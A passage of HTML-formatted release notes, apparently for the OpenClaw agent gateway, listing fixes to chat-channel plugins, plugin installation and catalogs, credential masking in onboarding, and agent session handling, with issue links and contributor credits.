<p>Channels/Feishu: cap how long the per-chat sequential queue blocks subsequent same-key tasks behind a single in-flight task (5 min default), so a single hung dispatch no longer leaves later same-chat messages in <code>queued</code> state until gateway restart; the stuck task continues running but is evicted from the blocking chain and a warning is logged. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4308531730" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/70133" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/70133/hovercard" href="https://github.com/openclaw/openclaw/issues/70133">#70133</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4371855669" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76687" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/76687/hovercard" href="https://github.com/openclaw/openclaw/pull/76687">#76687</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/martingarramon/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/martingarramon">@martingarramon</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bek91/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bek91">@bek91</a>.</p>
</li>
<li>
<p>Active Memory: skip scoped Telegram forum-topic conversation ids (containing <code>:</code>) when resolving the embedded recall run channel, falling back to <code>messageProvider</code> instead, so Active Memory no longer throws a bundled-plugin dirName validation error in forum-topic sessions. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4371944266" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76704" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76704/hovercard" href="https://github.com/openclaw/openclaw/issues/76704">#76704</a>.</p>
</li>
<li>
<p>Agents/tools: defer automatic PDF model/auth resolution until the PDF tool is used, keeping agent-turn tool prep from probing auth profiles on messages without PDFs while preserving explicit PDF model registration. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4371647356" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76644" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76644/hovercard" href="https://github.com/openclaw/openclaw/issues/76644">#76644</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hclsys/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hclsys">@hclsys</a>.</p>
</li>
<li>
<p>CLI/config: keep JSON dry-run patches validating touched channel configuration against bundled channel schemas even when the patch only contains SecretRef objects.</p>
</li>
<li>
<p>Plugins/tools: keep disabled bundled tool plugins out of explicit runtime allowlist ownership and fall back from loaded-but-empty channel registries to tool-bearing plugin registries, so Active Memory can use bundled <code>memory-core</code> search/get tools even when <code>memory-lancedb</code> is disabled. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4371441459" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76603" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76603/hovercard" href="https://github.com/openclaw/openclaw/issues/76603">#76603</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jwong-art/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jwong-art">@jwong-art</a>.</p>
</li>
<li>
<p>Plugins/install: run <code>npm install</code> from the managed npm-root manifest so installing one <code>@openclaw/*</code> plugin preserves already installed sibling plugins instead of pruning them. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4371289667" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76571" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76571/hovercard" href="https://github.com/openclaw/openclaw/issues/76571">#76571</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4371440891" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76602" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/76602/hovercard" href="https://github.com/openclaw/openclaw/pull/76602">#76602</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/byungskers/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/byungskers">@byungskers</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/crpol/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/crpol">@crpol</a>.</p>
</li>
<li>
<p>Plugins/context-engine: include the selected <code>plugins.slots.contextEngine</code> plugin in the gateway startup load plan so external context-engine plugins without <code>activation.onStartup</code> in their manifest are loaded before any agent turn resolves the active engine; prevents the "Context engine X is not registered; falling back to default engine legacy" warning after gateway startup. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4371302001" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76576" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76576/hovercard" href="https://github.com/openclaw/openclaw/issues/76576">#76576</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hclsys/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hclsys">@hclsys</a>.</p>
</li>
<li>
<p>Plugins/tools: restore on-demand registry load for path-based plugins (origin "config") so tool factories registered via <code>plugins.load.paths</code> are resolved at agent request time when no pre-warmed channel registry is present; prevents "unknown method" errors after gateway startup. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4371431770" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76598" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76598/hovercard" href="https://github.com/openclaw/openclaw/issues/76598">#76598</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hclsys/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hclsys">@hclsys</a>.</p>
</li>
<li>
<p>Plugins/hooks: include explicitly enabled hook-capable plugins in the Gateway startup runtime scope so embedded PI runs can see their <code>before_prompt_build</code> and <code>agent_end</code> hooks. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4371680261" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76649" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76649/hovercard" href="https://github.com/openclaw/openclaw/issues/76649">#76649</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/wwf3045/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/wwf3045">@wwf3045</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MkDev11/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MkDev11">@MkDev11</a>.</p>
</li>
<li>
<p>Plugins/OpenCode: expose Claude thinking profiles through the lightweight provider policy surface so directive and session validation keep <code>xhigh</code>, <code>adaptive</code>, and <code>max</code> for <code>opencode/claude-opus-4-7</code> instead of remapping <code>xhigh</code> to <code>high</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4371666992" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76648" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76648/hovercard" href="https://github.com/openclaw/openclaw/issues/76648">#76648</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/aaajiao/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/aaajiao">@aaajiao</a>.</p>
</li>
<li>
<p>Channels/QQ Bot: resolve structured <code>clientSecret</code> SecretRefs before QQ token exchange, expose the QQ Bot secret contract to secrets tooling, and reject legacy <code>secretref:/...</code> marker strings. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4355033110" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74772" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74772/hovercard" href="https://github.com/openclaw/openclaw/pull/74772">#74772</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/xialonglee/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/xialonglee">@xialonglee</a>.</p>
</li>
<li>
<p>Agents: keep active streamed provider replies alive by refreshing guarded fetch timeouts on raw body chunks and surface true prompt stream timeouts as explicit errors instead of partial assistant fragments. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4370351854" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76307" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76307/hovercard" href="https://github.com/openclaw/openclaw/issues/76307">#76307</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4371560110" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76633" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/76633/hovercard" href="https://github.com/openclaw/openclaw/pull/76633">#76633</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MkDev11/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MkDev11">@MkDev11</a>.</p>
</li>
<li>
<p>Plugins/externalization: keep official ACPX, Google Chat, and LINE install specs on production package names, leaving beta-tag probing to the explicit OpenClaw beta update channel. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>CLI/doctor: keep missing-plugin repair from overriding official catalog metadata with runtime fallbacks, so ACPX repairs preserve the official npm spec during the externalization rollout. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>CLI/doctor: match stale bundled-plugin install records by exact parsed package name so doctor does not remove external npm or ClawHub records that only share an OpenClaw package-name prefix.</p>
</li>
<li>
<p>Plugins/catalog: preserve ClawHub install specs when generating the packaged channel catalog so future storepack-first channel plugins keep their remote source instead of becoming npm-only. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Plugins/catalog: pin bare npm specs from prerelease external channel catalog entries to the catalog entry version, so beta catalogs do not silently install the latest stable package.</p>
</li>
<li>
<p>Plugins/update: treat catalog-matched official npm updates and OpenClaw-authored externalized-bundled npm bridges as trusted official installs so launch-code plugins can update or migrate out of the bundled tree without scanner false positives. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Plugins/onboarding: fall back from ClawHub to npm only for missing package/version errors, keeping integrity and verification failures fail-closed during storepack rollout. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>CLI/onboarding: mask credential inputs (model-auth provider API keys, gateway tokens and passwords, web-search provider keys, and skill env-var values) in the interactive <code>openclaw onboard</code> wizard so pasted secrets no longer echo into terminal scrollback, <code>Start-Transcript</code> logs, or screenshots; existing tokens/passwords are preserved through a masked-preview confirm step before the sensitive prompt. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/anurag-bg-neu/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/anurag-bg-neu">@anurag-bg-neu</a>.</p>
</li>
<li>
<p>Control UI/Talk: fix Talk (OpenAI Realtime WebRTC) CORS failure by stripping server-side-only attribution headers (<code>originator</code>, <code>version</code>, <code>User-Agent</code>) from browser offer headers; <code>api.openai.com/v1/realtime/calls</code> only allows <code>authorization</code> and <code>content-type</code> in its CORS preflight, so forwarding these headers caused the browser SDP exchange to fail. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4370828107" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76435" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76435/hovercard" href="https://github.com/openclaw/openclaw/issues/76435">#76435</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hclsys/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hclsys">@hclsys</a>.</p>
</li>
<li>
<p>Chat delivery: make <code>/verbose on|full|off</code> changes affect subsequent tool-use chat bubbles again, including channels with draft preview tool progress enabled, while preserving one-shot verbose directives.</p>
</li>
<li>
<p>CLI/logs: auto-reconnect <code>openclaw logs --follow</code> on transient gateway disconnects with bounded backoff, stderr retry warnings, <code>[logs] gateway reconnected</code> recovery notices, and JSON <code>notice</code> records while still exiting immediately on non-recoverable auth or configuration errors. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4355075599" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74782" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74782/hovercard" href="https://github.com/openclaw/openclaw/issues/74782">#74782</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4357892191" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75059" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75059/hovercard" href="https://github.com/openclaw/openclaw/pull/75059">#75059</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4362488693" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75372" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75372/hovercard" href="https://github.com/openclaw/openclaw/pull/75372">#75372</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shashank-poola/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shashank-poola">@shashank-poola</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/RomneyDa/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/RomneyDa">@RomneyDa</a>.</p>
</li>
<li>
<p>Codex/WhatsApp: keep the <code>message</code> dynamic tool available when Codex source replies are configured for message-tool delivery, so coding-profile chat agents do not complete turns privately without a visible channel reply. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4371728923" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76660" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76660/hovercard" href="https://github.com/openclaw/openclaw/issues/76660">#76660</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4371734457" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76663" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/76663/hovercard" href="https://github.com/openclaw/openclaw/pull/76663">#76663</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/VishalJ99/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/VishalJ99">@VishalJ99</a>.</p>
</li>
<li>
<p>Codex/heartbeat: send heartbeat-specific initiative guidance through Codex turn-scoped collaboration-mode instructions, keeping ordinary message-tool chat turns in Default mode without heartbeat prompt leakage. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pashpashpash/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pashpashpash">@pashpashpash</a>.</p>
</li>
<li>
<p>Plugins/onboarding: trust optional official plugin and web-search installs selected from the official catalog so npm security scanning treats them like other source-linked official install paths. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Agents/web_search: keep installed runtime provider discovery enabled when web-search metadata is missing, so externally installed official providers such as Brave remain visible to agent and cron turns instead of falling back to bundled-only lookup. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4371532832" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76626" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76626/hovercard" href="https://github.com/openclaw/openclaw/issues/76626">#76626</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amknight/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amknight">@amknight</a>.</p>
</li>
<li>
<p>Tests/plugins: expose the Discord npm onboarding Docker lane as a package script and assert planned Docker lanes point at real scripts, so external-channel onboarding coverage can actually run. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Plugins/ClawHub: explain unreleased ClawHub plugin artifacts as a rollout-state fallback to <code>npm:</code> installs instead of leaking raw archive metadata fields. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Tests/onboarding: assert packaged channel onboarding leaves <code>openclaw channels status --json</code> and plain <code>openclaw status</code> showing the configured channel, covering the empty Channels table regression path. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Microsoft Teams: persist sent-message markers across Gateway restarts so follow-up replies to recent bot messages keep resolving the original conversation instead of dropping out after restart, with marker TTLs preserved on best-effort recovery. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4363955622" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75585" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75585/hovercard" href="https://github.com/openclaw/openclaw/pull/75585">#75585</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amknight/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amknight">@amknight</a>.</p>
</li>
<li>
<p>Matrix: persist pending approval reaction targets across Gateway restarts so room approvers can still approve or deny outstanding prompts after OpenClaw comes back online. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4363955743" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75586" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75586/hovercard" href="https://github.com/openclaw/openclaw/pull/75586">#75586</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amknight/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amknight">@amknight</a>.</p>
</li>
<li>
<p>Channels/onboarding: map third-party official WeCom and Yuanbao catalog entries to their published plugin ids so npm installs pass expected-plugin validation. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Plugin SDK: restore the Mattermost and Matrix compatibility subpaths used by the pinned Yuanbao channel package so external installs can module-load after npm install. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Plugins/install: keep managed npm-root security scans from treating earlier plugin <code>openclaw</code> peer links as failures, so one external plugin install cannot poison later official npm installs. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Memory LanceDB: allow installed-but-unconfigured plugin metadata to load so onboarding and setup flows can prompt for embedding config instead of failing the plugin registry first. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>CLI/plugins: keep <code>plugins enable</code> and <code>plugins disable</code> from creating unconfigured channel config sections, so channel plugins with required setup fields no longer fail validation during lifecycle probes. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Doctor/config: set <code>messages.groupChat.visibleReplies: "message_tool"</code> during compatibility repair for configured-channel configs that omit a visible-reply policy, so upgrades can persist the intended tool-only group/channel reply default. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kagura-agent/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kagura-agent">@kagura-agent</a>.</p>
</li>
<li>
<p>Agents/sessions: keep delayed <code>sessions_send</code> A2A replies alive after soft wait-window timeouts, while preserving terminal run timeouts and avoiding stale target replies in requester sessions. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4370851415" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76443" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76443/hovercard" href="https://github.com/openclaw/openclaw/issues/76443">#76443</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ryswork1993/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ryswork1993">@ryswork1993</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>TUI/Control UI: fix <code>/think</code> command showing only base thinking levels when the active session uses a different model from the default, so provider-specific levels like DeepSeek V4 Pro's <code>xhigh</code> and <code>max</code> are now visible and selectable. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4370999388" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76482" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76482/hovercard" href="https://github.com/openclaw/openclaw/issues/76482">#76482</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amknight/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amknight">@amknight</a>.</p>
</li>
<li>
<p>CLI/sessions: keep intentional empty agent replies silent after tool-delivered channel output, instead of surfacing a misleading "No reply from agent." fallback. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Config/doctor: cap <code>.clobbered.*</code> forensic snapshots per config path and serialize snapshot writes so repeated <code>doctor --fix</code> recovery loops cannot flood the config directory. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4370911177" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76454" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76454/hovercard" href="https://github.com/openclaw/openclaw/issues/76454">#76454</a>; carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4250740667" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/65649" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/65649/hovercard" href="https://github.com/openclaw/openclaw/pull/65649">#65649</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JUSTICEESSIELP/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JUSTICEESSIELP">@JUSTICEESSIELP</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rsnow/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rsnow">@rsnow</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Feishu: suppress duplicate text when replies send native voice media, preserve captions for ordinary audio files, and send fallback text plus attachment links when <code>audioAsVoice</code> transcode/upload fallback produces a generic file.</p>
</li>
<li>
<p>TTS/plugins: activate configured and inherited speech provider plugins during Gateway startup, so Microsoft and Local CLI voice replies work immediately after persona selection instead of staying invisible in the startup plugin set. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4370996274" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76481" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76481/hovercard" href="https://github.com/openclaw/openclaw/issues/76481">#76481</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amknight/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amknight">@amknight</a>.</p>
</li>
<li>
<p>Feishu: keep packaged Feishu startup from bundling the Lark SDK's ESM <code>__dirname</code> path by loading the SDK as a plugin-local runtime dependency. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4370278565" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76291" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76291/hovercard" href="https://github.com/openclaw/openclaw/issues/76291">#76291</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4371035544" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76494" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76494/hovercard" href="https://github.com/openclaw/openclaw/issues/76494">#76494</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4370701342" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76392" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/76392/hovercard" href="https://github.com/openclaw/openclaw/pull/76392">#76392</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zqchris/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zqchris">@zqchris</a>.</p>
</li>
<li>
<p>Plugins/npm: build package-local runtime dist files for publishable plugins and stop listing root-package-excluded plugin sidecars in the core package metadata, so npm plugin installs such as <code>@openclaw/diffs</code> and <code>@openclaw/discord</code> no longer publish source-only runtime payloads. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4370790448" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76426" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76426/hovercard" href="https://github.com/openclaw/openclaw/issues/76426">#76426</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/PrinceOfEgypt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/PrinceOfEgypt">@PrinceOfEgypt</a>.</p>
</li>
<li>
<p>Channels/secrets: resolve SecretRef-backed channel credentials through external plugin secret contracts after the plugin split, covering runtime startup, target discovery, webhook auth, disabled-account enumeration, and late-bound web_search config. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4370595346" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76371" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76371/hovercard" href="https://github.com/openclaw/openclaw/issues/76371">#76371</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4370882504" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76449" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/76449/hovercard" href="https://github.com/openclaw/openclaw/pull/76449">#76449</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/neeravmakwana/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/neeravmakwana">@neeravmakwana</a>.</p>
</li>
<li>
